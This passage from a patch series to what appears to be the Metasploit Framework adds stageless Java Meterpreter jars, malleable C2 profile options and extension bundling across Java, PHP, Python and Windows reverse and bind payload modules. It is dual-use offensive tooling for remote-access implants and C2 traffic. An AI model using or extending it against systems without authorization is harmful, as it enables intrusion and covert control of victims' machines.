client_output.get_directive('append').map{|d|d.args[0]}.join("") - post_tlv.add_tlv(MET::TLV_TYPE_C2_SUFFIX, append_data) unless append_data.empty? + add_prepend_append_tlvs(post_tlv, client_output, MET::TLV_TYPE_C2_PREFIX, MET::TLV_TYPE_C2_SUFFIX) } client.get_section('id') {|client_id| @@ -319,11 +315,16 @@ def add_uuid_transform_tlvs(group_tlv, section) enc = encoding_flags_for(section) group_tlv.add_tlv(MET::TLV_TYPE_C2_ENC_UUID, enc) if enc != MET::C2_ENCODING_NONE + add_prepend_append_tlvs(group_tlv, section, MET::TLV_TYPE_C2_UUID_PREFIX, MET::TLV_TYPE_C2_UUID_SUFFIX) + end + # Concatenate every `prepend`/`append` directive in `section` and emit + # them as the given prefix/suffix TLVs (skipping empty strings). + def add_prepend_append_tlvs(group_tlv, section, prefix_type, suffix_type) prepend_data = section.get_directive('prepend').map{|d|d.args[0]}.join("") - group_tlv.add_tlv(MET::TLV_TYPE_C2_UUID_PREFIX, prepend_data) unless prepend_data.empty? + group_tlv.add_tlv(prefix_type, prepend_data) unless prepend_data.empty? append_data = section.get_directive('append').map{|d|d.args[0]}.join("") - group_tlv.add_tlv(MET::TLV_TYPE_C2_UUID_SUFFIX, append_data) unless append_data.empty? + group_tlv.add_tlv(suffix_type, append_data) unless append_data.empty? end def add_uuid_tlvs(group_tlv, section) diff --git a/lib/rex/post/meterpreter/packet.rb b/lib/rex/post/meterpreter/packet.rb index 18b5e0e6fc861..54dd1613a8eb8 100644 --- a/lib/rex/post/meterpreter/packet.rb +++ b/lib/rex/post/meterpreter/packet.rb @@ -141,8 +141,8 @@ module Meterpreter TLV_TYPE_SESSION_FLAGS = TLV_META_TYPE_UINT | 727 # session-level config flags (e.g. FLAG_STAGELESS, FLAG_DEBUG) TLV_TYPE_C2_ENC_OUTBOUND = TLV_META_TYPE_UINT | 728 # Client->server (request) body encoding (POST only) TLV_TYPE_C2_ENC_UUID = TLV_META_TYPE_UINT | 729 # Encoding applied to the UUID before placement (URL/header/cookie) -TLV_TYPE_C2_UUID_PREFIX = TLV_META_TYPE_RAW | 730 # Bytes to prepend to the encoded UUID -TLV_TYPE_C2_UUID_SUFFIX = TLV_META_TYPE_RAW | 731 # Bytes to append to the encoded UUID +TLV_TYPE_C2_UUID_PREFIX = TLV_META_TYPE_STRING | 730 # String to prepend to the encoded UUID +TLV_TYPE_C2_UUID_SUFFIX = TLV_META_TYPE_STRING | 731 # String to append to the encoded UUID # # C2 Encoding flags From 068e9c4878598d46990b9ec131002812d5646bb6 Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 20 May 2026 17:07:15 +1000 Subject: [PATCH 19/26] Support stageless java payloads With MC2 support! --- .../core/payload/java/meterpreter_loader.rb | 36 +++++++++++++++++-- .../singles/java/meterpreter_bind_tcp.rb | 4 +-- .../singles/java/meterpreter_reverse_http.rb | 8 +++-- .../singles/java/meterpreter_reverse_https.rb | 8 +++-- .../singles/java/meterpreter_reverse_tcp.rb | 4 +-- 5 files changed, 49 insertions(+), 11 deletions(-) diff --git a/lib/msf/core/payload/java/meterpreter_loader.rb b/lib/msf/core/payload/java/meterpreter_loader.rb index 5b94ce40c50dc..249cffb8db478 100644 --- a/lib/msf/core/payload/java/meterpreter_loader.rb +++ b/lib/msf/core/payload/java/meterpreter_loader.rb @@ -50,7 +50,7 @@ def stage_meterpreter(opts={}) met = MetasploitPayloads.read('meterpreter', 'meterpreter.jar') config = generate_config(opts) - return build_stageless_jar(met, config) if opts[:stageless] + return build_stageless_jar(met, config).pack if opts[:stageless] # All of the dependencies to create a jar loader, followed by the length # of the jar and the jar itself, then the config @@ -71,7 +71,17 @@ def stage_meterpreter(opts={}) # Build a self-contained stageless jar: take the prebuilt meterpreter.jar, # rewrite its manifest to point at StagelessMain, and embed the encoded - # config as a jar resource that StagelessMain reads at startup. + # config as a jar resource that StagelessMain reads at startup. Returns + # the Rex::Zip::Jar so callers can either .pack it (legacy stage path) + # or hand it to msfvenom's encoded_jar/generate_jar pipeline. + # Extra classes the stageless jar needs beyond the shaded meterpreter jar. + # JarFileClassLoader lives in the javapayload artifact (which the shade + # plugin deliberately excludes), but `Meterpreter#loadExtension` uses it + # to load extension jars at runtime. + STAGELESS_EXTRA_CLASSES = [ + %w[com metasploit meterpreter JarFileClassLoader.class], + ].freeze + def build_stageless_jar(src_jar, config_bytes) jar = Rex::Zip::Jar.new ::Zip::File.open_buffer(::StringIO.new(src_jar)) do |zip| @@ -82,9 +92,29 @@ def build_stageless_jar(src_jar, config_bytes) jar.add_file(entry.name, entry.get_input_stream.read) end end + STAGELESS_EXTRA_CLASSES.each do |parts| + jar.add_file(parts.join('/'), ::MetasploitPayloads.read('java', *parts)) + end jar.add_file(STAGELESS_CONFIG_RESOURCE, config_bytes) jar.build_manifest(main_class: STAGELESS_MAIN_CLASS) - jar.pack + jar + end + + # `Msf::Simple::Payload.generate_simple` reaches the jar bytes via + # `encoded_jar` -> `pinst.generate_jar`. The Java meterpreter modules + # that include this mixin are all `Msf::Payload::Single` (stageless), + # so build the self-contained jar instead of falling back to + # `Msf::Payload::Java#generate_jar`, which would emit the staged + # `metasploit.Payload` loader jar. + # When the calling module flags `opts[:stageless]`, build the + # self-contained jar via `build_stageless_jar`. Otherwise fall back to + # `Msf::Payload::Java#generate_jar`, which emits the staged + # `metasploit.Payload` loader jar. + def generate_jar(opts={}) + return super unless opts[:stageless] + + src_jar = MetasploitPayloads.read('meterpreter', 'meterpreter.jar') + build_stageless_jar(src_jar, generate_config(opts)) end def generate_config(opts={}) diff --git a/modules/payloads/singles/java/meterpreter_bind_tcp.rb b/modules/payloads/singles/java/meterpreter_bind_tcp.rb index a496231f6560a..f81954c551c12 100644 --- a/modules/payloads/singles/java/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/java/meterpreter_bind_tcp.rb @@ -26,7 +26,7 @@ def initialize(info = {}) ) end - def generate(opts = {}) - stage_meterpreter(opts.merge(stageless: true)) + def generate_jar(opts = {}) + super(opts.merge(stageless: true)) end end diff --git a/modules/payloads/singles/java/meterpreter_reverse_http.rb b/modules/payloads/singles/java/meterpreter_reverse_http.rb index def2c50e8aa06..43158d8b6d8ed 100644 --- a/modules/payloads/singles/java/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/java/meterpreter_reverse_http.rb @@ -24,9 +24,13 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_Java_Java ) ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + ]) end - def generate(opts = {}) - stage_meterpreter(opts.merge(stageless: true)) + def generate_jar(opts = {}) + super(opts.merge(stageless: true, c2_profile: datastore['MALLEABLEC2'])) end end diff --git a/modules/payloads/singles/java/meterpreter_reverse_https.rb b/modules/payloads/singles/java/meterpreter_reverse_https.rb index 0103ed02b6cc0..2f501c750d1d8 100644 --- a/modules/payloads/singles/java/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/java/meterpreter_reverse_https.rb @@ -24,9 +24,13 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_Java_Java ) ) + + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + ]) end - def generate(opts = {}) - stage_meterpreter(opts.merge(stageless: true)) + def generate_jar(opts = {}) + super(opts.merge(stageless: true, c2_profile: datastore['MALLEABLEC2'])) end end diff --git a/modules/payloads/singles/java/meterpreter_reverse_tcp.rb b/modules/payloads/singles/java/meterpreter_reverse_tcp.rb index 654613ab45cdb..823f885b47b3d 100644 --- a/modules/payloads/singles/java/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/java/meterpreter_reverse_tcp.rb @@ -26,7 +26,7 @@ def initialize(info = {}) ) end - def generate(opts = {}) - stage_meterpreter(opts.merge(stageless: true)) + def generate_jar(opts = {}) + super(opts.merge(stageless: true)) end end From 509c38e8bc7059ad7753316e18302381b560e895 Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 20 May 2026 18:00:24 +1000 Subject: [PATCH 20/26] Add support for stageless extension wiring PHP, java, python, and php. Adjusting windows to support. Mettle yet to come. --- .../core/payload/java/meterpreter_loader.rb | 2 ++ .../core/payload/python/meterpreter_loader.rb | 2 ++ .../payload/windows/meterpreter_loader.rb | 1 + .../windows/x64/meterpreter_loader_x64.rb | 1 + lib/rex/payloads/meterpreter/config.rb | 25 +++++++++++++------ .../singles/java/meterpreter_bind_tcp.rb | 6 ++++- .../singles/java/meterpreter_reverse_http.rb | 3 ++- .../singles/java/meterpreter_reverse_https.rb | 3 ++- .../singles/java/meterpreter_reverse_tcp.rb | 6 ++++- .../singles/php/meterpreter_reverse_http.rb | 5 +++- .../singles/php/meterpreter_reverse_https.rb | 5 +++- .../singles/php/meterpreter_reverse_tcp.rb | 6 +++++ .../singles/python/meterpreter_bind_tcp.rb | 5 ++++ .../python/meterpreter_reverse_http.rb | 2 ++ .../python/meterpreter_reverse_https.rb | 2 ++ .../singles/python/meterpreter_reverse_tcp.rb | 5 ++++ .../windows/meterpreter_bind_named_pipe.rb | 1 + .../singles/windows/meterpreter_bind_tcp.rb | 1 + .../windows/meterpreter_reverse_http.rb | 1 + .../windows/meterpreter_reverse_https.rb | 1 + .../windows/meterpreter_reverse_ipv6_tcp.rb | 1 + .../windows/meterpreter_reverse_tcp.rb | 1 + .../x64/meterpreter_bind_named_pipe.rb | 1 + .../windows/x64/meterpreter_bind_tcp.rb | 1 + .../windows/x64/meterpreter_reverse_http.rb | 1 + .../windows/x64/meterpreter_reverse_https.rb | 1 + .../x64/meterpreter_reverse_ipv6_tcp.rb | 1 + .../windows/x64/meterpreter_reverse_tcp.rb | 1 + 28 files changed, 77 insertions(+), 14 deletions(-) diff --git a/lib/msf/core/payload/java/meterpreter_loader.rb b/lib/msf/core/payload/java/meterpreter_loader.rb index 249cffb8db478..7ec6087e6ce25 100644 --- a/lib/msf/core/payload/java/meterpreter_loader.rb +++ b/lib/msf/core/payload/java/meterpreter_loader.rb @@ -128,6 +128,8 @@ def generate_config(opts={}) expiration: ds['SessionExpirationTimeout'].to_i, uuid: opts[:uuid], transports: opts[:transport_config] || [transport_config(opts)], + extensions: opts[:extensions] || [], + ext_format: 'jar', stageless: opts[:stageless] == true } diff --git a/lib/msf/core/payload/python/meterpreter_loader.rb b/lib/msf/core/payload/python/meterpreter_loader.rb index 23d1bab6690dc..5bff75788fc1c 100644 --- a/lib/msf/core/payload/python/meterpreter_loader.rb +++ b/lib/msf/core/payload/python/meterpreter_loader.rb @@ -70,6 +70,8 @@ def generate_config(opts={}) expiration: (ds[:expiration] || ds['SessionExpirationTimeout']).to_i, uuid: opts[:uuid], transports: opts[:transport_config], + extensions: opts[:extensions] || [], + ext_format: 'py', stageless: opts[:stageless] == true, }.merge(meterpreter_logging_config(opts)) diff --git a/lib/msf/core/payload/windows/meterpreter_loader.rb b/lib/msf/core/payload/windows/meterpreter_loader.rb index 04c489d46e174..247129b1f2ef8 100644 --- a/lib/msf/core/payload/windows/meterpreter_loader.rb +++ b/lib/msf/core/payload/windows/meterpreter_loader.rb @@ -81,6 +81,7 @@ def generate_config(opts={}) uuid: opts[:uuid], transports: opts[:transport_config] || [transport_config(opts)], extensions: [], + ext_format: 'x86.dll', stageless: opts[:stageless] == true, }.merge(meterpreter_logging_config(opts)) # create the configuration instance based off the parameters diff --git a/lib/msf/core/payload/windows/x64/meterpreter_loader_x64.rb b/lib/msf/core/payload/windows/x64/meterpreter_loader_x64.rb index 49b1e96ffe788..f6c2e2a22242d 100644 --- a/lib/msf/core/payload/windows/x64/meterpreter_loader_x64.rb +++ b/lib/msf/core/payload/windows/x64/meterpreter_loader_x64.rb @@ -84,6 +84,7 @@ def generate_config(opts={}) uuid: opts[:uuid], transports: opts[:transport_config] || [transport_config(opts)], extensions: [], + ext_format: 'x64.dll', stageless: opts[:stageless] == true, }.merge(meterpreter_logging_config(opts)) diff --git a/lib/rex/payloads/meterpreter/config.rb b/lib/rex/payloads/meterpreter/config.rb index 0afa8e40d1541..2f22a209c2839 100644 --- a/lib/rex/payloads/meterpreter/config.rb +++ b/lib/rex/payloads/meterpreter/config.rb @@ -129,8 +129,15 @@ def add_c2_tlv(tlv, opts) def add_extension_tlv(tlv, ext_name, ext_init_path, file_extension, debug_build: false) ext_name = ext_name.strip.downcase - ext, _ = load_rdi_dll(MetasploitPayloads.meterpreter_path("ext_server_#{ext_name}", - file_extension, debug: debug_build)) + # Windows DLLs go through Reflective DLL Injection prep; non-PE + # runtimes (jar/py/php) ship the file as-is in TLV_TYPE_DATA. + if file_extension.to_s.end_with?('.dll') + ext_path = MetasploitPayloads.meterpreter_path("ext_server_#{ext_name}", + file_extension, debug: debug_build) + ext, _ = load_rdi_dll(ext_path) + else + ext = MetasploitPayloads.read('meterpreter', "ext_server_#{ext_name}.#{file_extension}".downcase) + end ext_tlv = MET::GroupTlv.new(MET::TLV_TYPE_EXTENSION) ext_tlv.add_tlv(MET::TLV_TYPE_DATA, ext) @@ -153,10 +160,10 @@ def config_block add_c2_tlv(config_packet, t) end - # configure the extensions - this will have to change when posix comes - # into play. - file_extension = 'x86.dll' - file_extension = 'x64.dll' unless is_x86? + # Each runtime tells us which on-disk extension file matches the + # payload (e.g. 'x86.dll', 'x64.dll', 'py', 'php', 'jar'); skip the + # extension TLV emission when the caller didn't supply one. + file_extension = @opts[:ext_format] @opts[:extensions] = [] if @opts[:extensions].blank? prev_length = @opts[:extensions].length @@ -172,8 +179,10 @@ def config_block ext_inits = (@opts[:ext_init] || '').split(':').map{|v| v.split(',')}.to_h{|l| l} - (@opts[:extensions] || []).each do |e| - add_extension_tlv(config_packet, e, ext_inits[e], file_extension, debug_build: @opts[:debug_build]) + if file_extension + (@opts[:extensions] || []).each do |e| + add_extension_tlv(config_packet, e, ext_inits[e], file_extension, debug_build: @opts[:debug_build]) + end end config_packet.to_r diff --git a/modules/payloads/singles/java/meterpreter_bind_tcp.rb b/modules/payloads/singles/java/meterpreter_bind_tcp.rb index f81954c551c12..2fc72decbcb90 100644 --- a/modules/payloads/singles/java/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/java/meterpreter_bind_tcp.rb @@ -24,9 +24,13 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_Java_Java ) ) + + register_options([ + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate_jar(opts = {}) - super(opts.merge(stageless: true)) + super(opts.merge(stageless: true, extensions: (datastore['EXTENSIONS'] || '').split(','))) end end diff --git a/modules/payloads/singles/java/meterpreter_reverse_http.rb b/modules/payloads/singles/java/meterpreter_reverse_http.rb index 43158d8b6d8ed..547088a445554 100644 --- a/modules/payloads/singles/java/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/java/meterpreter_reverse_http.rb @@ -27,10 +27,11 @@ def initialize(info = {}) register_options([ OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) ]) end def generate_jar(opts = {}) - super(opts.merge(stageless: true, c2_profile: datastore['MALLEABLEC2'])) + super(opts.merge(stageless: true, c2_profile: datastore['MALLEABLEC2'], extensions: (datastore['EXTENSIONS'] || '').split(','))) end end diff --git a/modules/payloads/singles/java/meterpreter_reverse_https.rb b/modules/payloads/singles/java/meterpreter_reverse_https.rb index 2f501c750d1d8..a61d00294c29c 100644 --- a/modules/payloads/singles/java/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/java/meterpreter_reverse_https.rb @@ -27,10 +27,11 @@ def initialize(info = {}) register_options([ OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) ]) end def generate_jar(opts = {}) - super(opts.merge(stageless: true, c2_profile: datastore['MALLEABLEC2'])) + super(opts.merge(stageless: true, c2_profile: datastore['MALLEABLEC2'], extensions: (datastore['EXTENSIONS'] || '').split(','))) end end diff --git a/modules/payloads/singles/java/meterpreter_reverse_tcp.rb b/modules/payloads/singles/java/meterpreter_reverse_tcp.rb index 823f885b47b3d..4043ef575c5c3 100644 --- a/modules/payloads/singles/java/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/java/meterpreter_reverse_tcp.rb @@ -24,9 +24,13 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_Java_Java ) ) + + register_options([ + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate_jar(opts = {}) - super(opts.merge(stageless: true)) + super(opts.merge(stageless: true, extensions: (datastore['EXTENSIONS'] || '').split(','))) end end diff --git a/modules/payloads/singles/php/meterpreter_reverse_http.rb b/modules/payloads/singles/php/meterpreter_reverse_http.rb index 82297487b5459..9fabbf97a740a 100644 --- a/modules/payloads/singles/php/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/php/meterpreter_reverse_http.rb @@ -29,6 +29,7 @@ def initialize(info = {}) register_options([ OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) ]) end @@ -44,7 +45,9 @@ def generate_config(opts = {}) expiration: (ds[:expiration] || ds['SessionExpirationTimeout']).to_i, uuid: opts[:uuid], transports: opts[:transport_config], - stageless: true, + extensions: (ds['EXTENSIONS'] || '').split(','), + ext_format: 'php', + stageless: true }.merge(meterpreter_logging_config(opts)) config = Rex::Payloads::Meterpreter::Config.new(config_opts) diff --git a/modules/payloads/singles/php/meterpreter_reverse_https.rb b/modules/payloads/singles/php/meterpreter_reverse_https.rb index 77d01dae2d2b1..8729897636d24 100644 --- a/modules/payloads/singles/php/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/php/meterpreter_reverse_https.rb @@ -29,6 +29,7 @@ def initialize(info = {}) register_options([ OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) ]) end @@ -44,7 +45,9 @@ def generate_config(opts = {}) expiration: (ds[:expiration] || ds['SessionExpirationTimeout']).to_i, uuid: opts[:uuid], transports: opts[:transport_config], - stageless: true, + extensions: (ds['EXTENSIONS'] || '').split(','), + ext_format: 'php', + stageless: true }.merge(meterpreter_logging_config(opts)) config = Rex::Payloads::Meterpreter::Config.new(config_opts) diff --git a/modules/payloads/singles/php/meterpreter_reverse_tcp.rb b/modules/payloads/singles/php/meterpreter_reverse_tcp.rb index 3e6eea0af17e1..37ebcfee8b086 100644 --- a/modules/payloads/singles/php/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/php/meterpreter_reverse_tcp.rb @@ -26,6 +26,10 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_Php_Php ) ) + + register_options([ + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate_config(opts = {}) @@ -40,6 +44,8 @@ def generate_config(opts = {}) expiration: (ds[:expiration] || ds['SessionExpirationTimeout']).to_i, uuid: opts[:uuid], transports: opts[:transport_config], + extensions: (ds['EXTENSIONS'] || '').split(','), + ext_format: 'php', stageless: true, }.merge(meterpreter_logging_config(opts)) diff --git a/modules/payloads/singles/python/meterpreter_bind_tcp.rb b/modules/payloads/singles/python/meterpreter_bind_tcp.rb index a24a92b53f407..0e5eb646fcb93 100644 --- a/modules/payloads/singles/python/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/python/meterpreter_bind_tcp.rb @@ -25,6 +25,10 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_Python_Python ) ) + + register_options([ + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate_bind_tcp(opts = {}) @@ -34,6 +38,7 @@ def generate_bind_tcp(opts = {}) socket_setup << "s, address = bind_sock.accept()\n" opts[:stageless_tcp_socket_setup] = socket_setup opts[:stageless] = true + opts[:extensions] = (datastore['EXTENSIONS'] || '').split(',') met = stage_meterpreter(opts) py_create_exec_stub(met) diff --git a/modules/payloads/singles/python/meterpreter_reverse_http.rb b/modules/payloads/singles/python/meterpreter_reverse_http.rb index 847334c8d2059..11a53b9797c61 100644 --- a/modules/payloads/singles/python/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/python/meterpreter_reverse_http.rb @@ -28,6 +28,7 @@ def initialize(info = {}) register_options([ OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) ]) register_advanced_options( @@ -45,6 +46,7 @@ def generate_reverse_http(opts = {}) http_proxy_host: opts[:proxy_host], http_proxy_port: opts[:proxy_port], c2_profile: datastore['MALLEABLEC2'], + extensions: (datastore['EXTENSIONS'] || '').split(','), stageless: true }) diff --git a/modules/payloads/singles/python/meterpreter_reverse_https.rb b/modules/payloads/singles/python/meterpreter_reverse_https.rb index d8ffa08d4c22a..796318daaafa3 100644 --- a/modules/payloads/singles/python/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/python/meterpreter_reverse_https.rb @@ -28,6 +28,7 @@ def initialize(info = {}) register_options([ OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) ]) register_advanced_options( @@ -46,6 +47,7 @@ def generate_reverse_http(opts = {}) http_proxy_host: opts[:proxy_host], http_proxy_port: opts[:proxy_port], c2_profile: datastore['MALLEABLEC2'], + extensions: (datastore['EXTENSIONS'] || '').split(','), stageless: true }) diff --git a/modules/payloads/singles/python/meterpreter_reverse_tcp.rb b/modules/payloads/singles/python/meterpreter_reverse_tcp.rb index 78a6600f191b6..961fb540a5d3f 100644 --- a/modules/payloads/singles/python/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/python/meterpreter_reverse_tcp.rb @@ -25,6 +25,10 @@ def initialize(info = {}) 'Session' => Msf::Sessions::Meterpreter_Python_Python ) ) + + register_options([ + OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']) + ]) end def generate_reverse_tcp(opts = {}) @@ -32,6 +36,7 @@ def generate_reverse_tcp(opts = {}) socket_setup << "s.connect(('#{opts[:host]}',#{opts[:port]}))\n" opts[:stageless_tcp_socket_setup] = socket_setup opts[:stageless] = true + opts[:extensions] = (datastore['EXTENSIONS'] || '').split(',') met = stage_meterpreter(opts) py_create_exec_stub(met) diff --git a/modules/payloads/singles/windows/meterpreter_bind_named_pipe.rb b/modules/payloads/singles/windows/meterpreter_bind_named_pipe.rb index f3496dee50298..e1e5f3443e55c 100644 --- a/modules/payloads/singles/windows/meterpreter_bind_named_pipe.rb +++ b/modules/payloads/singles/windows/meterpreter_bind_named_pipe.rb @@ -49,6 +49,7 @@ def generate_config(opts = {}) uuid: opts[:uuid], transports: [transport_config_bind_named_pipe(opts)], extensions: (datastore['EXTENSIONS'] || '').split(','), + ext_format: 'x86.dll', ext_init: datastore['EXTINIT'] || '', stageless: true }.merge(meterpreter_logging_config(opts)) diff --git a/modules/payloads/singles/windows/meterpreter_bind_tcp.rb b/modules/payloads/singles/windows/meterpreter_bind_tcp.rb index 1e0572c956c29..e5aeb90c51767 100644 --- a/modules/payloads/singles/windows/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_bind_tcp.rb @@ -49,6 +49,7 @@ def generate_config(opts = {}) uuid: opts[:uuid], transports: [transport_config_bind_tcp(opts)], extensions: (datastore['EXTENSIONS'] || '').split(','), + ext_format: 'x86.dll', ext_init: datastore['EXTINIT'] || '', stageless: true }.merge(meterpreter_logging_config(opts)) diff --git a/modules/payloads/singles/windows/meterpreter_reverse_http.rb b/modules/payloads/singles/windows/meterpreter_reverse_http.rb index df9e5b65f68ec..a6fdc4ca80742 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_http.rb @@ -56,6 +56,7 @@ def generate_config(opts = {}) uuid: opts[:uuid], transports: [transport_config_reverse_http(opts)], extensions: (datastore['EXTENSIONS'] || '').split(','), + ext_format: 'x86.dll', ext_init: datastore['EXTINIT'] || '', stageless: true }.merge(meterpreter_logging_config(opts)) diff --git a/modules/payloads/singles/windows/meterpreter_reverse_https.rb b/modules/payloads/singles/windows/meterpreter_reverse_https.rb index 12b5e66495363..b4d6220c27b0f 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_https.rb @@ -56,6 +56,7 @@ def generate_config(opts = {}) uuid: opts[:uuid], transports: [transport_config_reverse_https(opts)], extensions: (datastore['EXTENSIONS'] || '').split(','), + ext_format: 'x86.dll', ext_init: datastore['EXTINIT'] || '', stageless: true }.merge(meterpreter_logging_config(opts)) diff --git a/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb b/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb index b894677c9fec0..9bcf351593fab 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb @@ -50,6 +50,7 @@ def generate_config(opts = {}) uuid: opts[:uuid], transports: [transport_config_reverse_ipv6_tcp(opts)], extensions: (datastore['EXTENSIONS'] || '').split(','), + ext_format: 'x86.dll', ext_init: datastore['EXTINIT'] || '', stageless: true }.merge(meterpreter_logging_config(opts)) diff --git a/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb b/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb index 6c4738ee56907..f4385ab26896f 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb @@ -49,6 +49,7 @@ def generate_config(opts = {}) uuid: opts[:uuid], transports: [transport_config_reverse_tcp(opts)], extensions: (datastore['EXTENSIONS'] || '').split(','), + ext_format: 'x86.dll', ext_init: datastore['EXTINIT'] || '', stageless: true }.merge(meterpreter_logging_config(opts)) diff --git a/modules/payloads/singles/windows/x64/meterpreter_bind_named_pipe.rb b/modules/payloads/singles/windows/x64/meterpreter_bind_named_pipe.rb index f705195f500e5..a015a949093c6 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_bind_named_pipe.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_bind_named_pipe.rb @@ -49,6 +49,7 @@ def generate_config(opts = {}) uuid: opts[:uuid], transports: [transport_config_bind_named_pipe(opts)], extensions: (datastore['EXTENSIONS'] || '').split(','), + ext_format: 'x64.dll', ext_init: datastore['EXTINIT'] || '', stageless: true }.merge(meterpreter_logging_config(opts)) diff --git a/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb index 090cb171f2e56..3444add57ae10 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb @@ -49,6 +49,7 @@ def generate_config(opts = {}) uuid: opts[:uuid], transports: [transport_config_bind_tcp(opts)], extensions: (datastore['EXTENSIONS'] || '').split(','), + ext_format: 'x64.dll', ext_init: datastore['EXTINIT'] || '', stageless: true }.merge(meterpreter_logging_config(opts)) diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb index 0d2ea1cdb42d2..779cbcfd79c6c 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb @@ -56,6 +56,7 @@ def generate_config(opts = {}) uuid: opts[:uuid], transports: [transport_config_reverse_http(opts)], extensions: (datastore['EXTENSIONS'] || '').split(','), + ext_format: 'x64.dll', ext_init: datastore['EXTINIT'] || '', stageless: true }.merge(meterpreter_logging_config(opts)) diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb index 08a3c305e6610..77fa201cb28b3 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb @@ -56,6 +56,7 @@ def generate_config(opts = {}) uuid: opts[:uuid], transports: [transport_config_reverse_https(opts)], extensions: (datastore['EXTENSIONS'] || '').split(','), + ext_format: 'x64.dll', ext_init: datastore['EXTINIT'] || '', stageless: true }.merge(meterpreter_logging_config(opts)) diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb index 6dcfc235c56f8..3b3223f384201 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb @@ -50,6 +50,7 @@ def generate_config(opts = {}) uuid: opts[:uuid], transports: [transport_config_reverse_ipv6_tcp(opts)], extensions: (datastore['EXTENSIONS'] || '').split(','), + ext_format: 'x64.dll', ext_init: datastore['EXTINIT'] || '', stageless: true }.merge(meterpreter_logging_config(opts)) diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb index ca9321ddfdf62..1394393edae44 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb @@ -49,6 +49,7 @@ def generate_config(opts = {}) uuid: opts[:uuid], transports: [transport_config_reverse_tcp(opts)], extensions: (datastore['EXTENSIONS'] || '').split(','), + ext_format: 'x64.dll', 